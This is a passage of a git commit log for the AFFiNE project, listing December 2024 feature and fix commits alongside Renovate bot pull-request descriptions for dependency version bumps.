    -   [@&#8203;dnd-kit/core](https://redirect.github.com/dnd-kit/core)[@&#8203;6](https://redirect.github.com/6).3.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-05 15:22:16 +00:00
forehalo
0436e59b6a feat(server): auto init stripe products when development (#9034) 2024-12-05 14:21:59 +00:00
liuyi
4c39b89b98 feat(server): ai trial support (#9031) 2024-12-05 09:39:59 +00:00
forehalo
5bf8ed1095 feat(server): support team workspace subscription (#8919)
close AF-1724, AF-1722
2024-12-05 08:31:01 +00:00
forehalo
4055e3aa67 refactor(server): payment service (#8906) 2024-12-05 08:31:00 +00:00
DarkSky
4fe1b5ba93 chore: adjust copilot ci (#9030) 2024-12-05 07:43:48 +00:00
CatsJuice
06764bbb83 chore(mobile): optimize swipe dialog animation timeline (#9028) 2024-12-05 06:31:28 +00:00
pengx17
7dad9fe816 fix(component): workaround for storybook startup (#9025)
It seems starting up storybook throws error when parsing doc using typescript.
Temporarily remove reactDocgen for now.
![image.png](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/T2klNLEk0wxLh4NRDzhk/db54c528-2b37-4a91-b980-4fe6c07240b7.png)
2024-12-05 05:35:00 +00:00
renovate
1cba9a7b2f chore: bump up @blocksuite/icons version to v2.1.75 (#9017)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.1.74` -> `2.1.75`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.1.74/2.1.75) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.1.75?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.1.75?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.1.74/2.1.75?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.1.74/2.1.75?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.1.75`](81fef5d8a1...0f19bd6eb3)

[Compare Source](81fef5d8a1...0f19bd6eb3)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-05 02:21:21 +00:00
renovate
84e11610fb chore: bump up nestjs to v12.2.2 (#9021)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/apollo](https://redirect.github.com/nestjs/graphql) | [`12.2.1` -> `12.2.2`](https://renovatebot.com/diffs/npm/@nestjs%2fapollo/12.2.1/12.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fapollo/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fapollo/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fapollo/12.2.1/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fapollo/12.2.1/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/graphql](https://redirect.github.com/nestjs/graphql) | [`12.2.1` -> `12.2.2`](https://renovatebot.com/diffs/npm/@nestjs%2fgraphql/12.2.1/12.2.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fgraphql/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fgraphql/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fgraphql/12.2.1/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fgraphql/12.2.1/12.2.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/graphql (@&#8203;nestjs/apollo)</summary>

### [`v12.2.2`](https://redirect.github.com/nestjs/graphql/releases/tag/v12.2.2)

[Compare Source](https://redirect.github.com/nestjs/graphql/compare/v12.2.1...v12.2.2)

##### 12.2.2 (2024-12-04)

##### Enhancements

-   `graphql`
    -   [#&#8203;3346](https://redirect.github.com/nestjs/graphql/pull/3346) refactor(graphql/lib): definitions generator `defaultTypeMapping` type reinforcement ([@&#8203;Neosoulink](https://redirect.github.com/Neosoulink))

##### Dependencies

-   `mercurius`
    -   [#&#8203;3400](https://redirect.github.com/nestjs/graphql/pull/3400) chore(deps): update dependency fastify to v4.29.0 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   Other
    -   [#&#8203;3370](https://redirect.github.com/nestjs/graphql/pull/3370) chore(deps): update dependency graphql-subscriptions to v3 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   `graphql`
    -   [#&#8203;3368](https://redirect.github.com/nestjs/graphql/pull/3368) fix(deps): update dependency [@&#8203;nestjs/mapped-types](https://redirect.github.com/nestjs/mapped-types) to v2.0.6 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;3349](https://redirect.github.com/nestjs/graphql/pull/3349) fix(deps): update dependency uuid to v11 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;3372](https://redirect.github.com/nestjs/graphql/pull/3372) fix(deps): update graphql-tools monorepo ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
-   `apollo`, `graphql`, `mercurius`
    -   [#&#8203;3360](https://redirect.github.com/nestjs/graphql/pull/3360) fix(deps): update dependency tslib to v2.8.1 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))

##### Committers: 2

-   Antonio Tripodi ([@&#8203;Tony133](https://redirect.github.com/Tony133))
-   Nathan M. ([@&#8203;Neosoulink](https://redirect.github.com/Neosoulink))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-05 02:04:14 +00:00
renovate
f07c7f3fbc chore: bump up actions/attest-build-provenance action to v2 (#9023)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [actions/attest-build-provenance](https://redirect.github.com/actions/attest-build-provenance) | action | major | `v1` -> `v2` |

---

### Release Notes

<details>
<summary>actions/attest-build-provenance (actions/attest-build-provenance)</summary>

### [`v2`](https://redirect.github.com/actions/attest-build-provenance/compare/v1...v2)

[Compare Source](https://redirect.github.com/actions/attest-build-provenance/compare/v1...v2)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-05 01:46:16 +00:00
CatsJuice
8ecfe4f3a7 chore: bump theme to support new syntax of cssVarV2 (#9008) 2024-12-05 01:01:52 +00:00
L-Sun
f7d20880af test(core): add tests for card view with edgeless mode link (#8887)
Close [BS-1881](https://linear.app/affine-design/issue/BS-1881/page内的edgeless-embed-缩放和坐标定位不太对), [BS-1907](https://linear.app/affine-design/issue/BS-1907/mode=edgeless的cardview转成embed,丢失了mode信息), related PR https://github.com/toeverything/blocksuite/pull/8785, https://github.com/toeverything/blocksuite/pull/8790

This PR adds a test for the fit-to-content feature of the viewport for the embed doc block in edgeless mode.
2024-12-04 08:59:33 +00:00
pengx17
f4f005bffb fix(core): db property number cell should be cast to number (#8937)
fix BS-1962
2024-12-04 07:49:56 +00:00
pengx17
e4f94c7e3f fix(mobile): progress styles (#9001)
fix AF-1875, fix AF-1878, fix AF-1879
2024-12-04 06:56:34 +00:00
pengx17
82d133d64d fix(mobile): doc info radio group width (#9000)
fix AF-1874
2024-12-04 06:56:31 +00:00
pengx17
018b293f2d fix(mobile): tags editor max height (#8999)
fix AF-1873
2024-12-04 06:56:29 +00:00
pengx17
4706f1e2a3 fix(core): date-picker styles (#8997)
fix AF-1871
2024-12-04 06:56:26 +00:00
JimmFly
1fa1a95c10 feat(core): support creating cloud workspaces to different servers (#9006) 2024-12-04 06:39:13 +00:00
pengx17
dddefcf768 fix(core): lit portal rerender (#9012) 2024-12-04 06:20:03 +00:00
EYHN
b637a62785 fix(ios): fix login (#9011) 2024-12-04 05:19:41 +00:00
renovate
83c7deeeec chore: Lock file maintenance (#8975)
This PR contains the following updates:

| Update | Change |
|---|---|
| lockFileMaintenance | All locks refreshed |

🔧 This Pull Request updates lock files to use the latest dependency versions.

---

### Configuration

📅 **Schedule**: Branch creation - "* 0-3 * * 1" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-03 16:24:22 +00:00
renovate
8d229ee25b chore: bump up @blocksuite/icons version to v2.1.74 (#9003)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.1.73` -> `2.1.74`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.1.73/2.1.74) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.1.74?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.1.74?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.1.73/2.1.74?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.1.73/2.1.74?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.1.74`](ddeb030e72...81fef5d8a1)

[Compare Source](ddeb030e72...81fef5d8a1)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-03 16:07:19 +00:00
renovate
7d006498b6 chore: bump up nestjs to v10.4.13 (#9004)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.12` -> `10.4.13`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.12/10.4.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.12` -> `10.4.13`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.12/10.4.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.12` -> `10.4.13`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.12/10.4.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.12` -> `10.4.13`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.12/10.4.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.12` -> `10.4.13`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.12/10.4.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.12` -> `10.4.13`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.12/10.4.13) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.12/10.4.13?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.13`](https://redirect.github.com/nestjs/nest/compare/v10.4.12...1eba0121a089be0e4880f37503dab7870602bb8e)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.12...v10.4.13)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.13`](https://redirect.github.com/nestjs/nest/compare/v10.4.12...1eba0121a089be0e4880f37503dab7870602bb8e)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.12...v10.4.13)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.13`](https://redirect.github.com/nestjs/nest/compare/v10.4.12...1eba0121a089be0e4880f37503dab7870602bb8e)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.12...v10.4.13)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.13`](https://redirect.github.com/nestjs/nest/compare/v10.4.12...1eba0121a089be0e4880f37503dab7870602bb8e)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.12...v10.4.13)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/testing)</summary>

### [`v10.4.13`](https://redirect.github.com/nestjs/nest/compare/v10.4.12...1eba0121a089be0e4880f37503dab7870602bb8e)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.12...v10.4.13)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/websockets)</summary>

### [`v10.4.13`](https://redirect.github.com/nestjs/nest/compare/v10.4.12...1eba0121a089be0e4880f37503dab7870602bb8e)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.12...v10.4.13)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS40Mi40IiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-03 15:49:17 +00:00
CatsJuice
8ef5804af3 chore(ios): allow debugging webcontent (#8998) 2024-12-03 09:31:25 +00:00
pengx17
0c718921a0 fix(core): open-in-app page crash (#8995)
fix AF-1839

should not render `Link` in open-in-app component
2024-12-03 07:38:28 +00:00
CatsJuice
4b52212eab fix(mobile): avoid explorer node overlapping header when scrolling (#8992) 2024-12-03 07:02:14 +00:00
darkskygit
eb64231899 feat(server): improve logs (#8977) 2024-12-03 06:47:17 +00:00
renovate
27d2735a64 chore: bump up all non-major dependencies (#8954)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.701.0` -> `3.703.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.701.0` -> `3.703.0`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.701.0/3.703.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.41.0` -> `8.42.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.41.0/8.42.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.41.0/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.41.0/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.41.0` -> `8.42.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.41.0/8.42.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.41.0/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.41.0/8.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@storybook/addon-essentials](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/essentials) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/essentials)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-essentials/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-essentials/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-essentials/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-essentials/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-essentials/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@storybook/addon-interactions](https://redirect.github.com/storybookjs/storybook/tree/next/code/addons/interactions) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/addons/interactions)) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/@storybook%2faddon-interactions/8.4.5/8.4.6) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@storybook%2faddon-interactions/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@storybook%2faddon-interactions/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@storybook%2faddon-interactions/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@storybook%2faddon-interactions/8.4.5/8.4.6?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
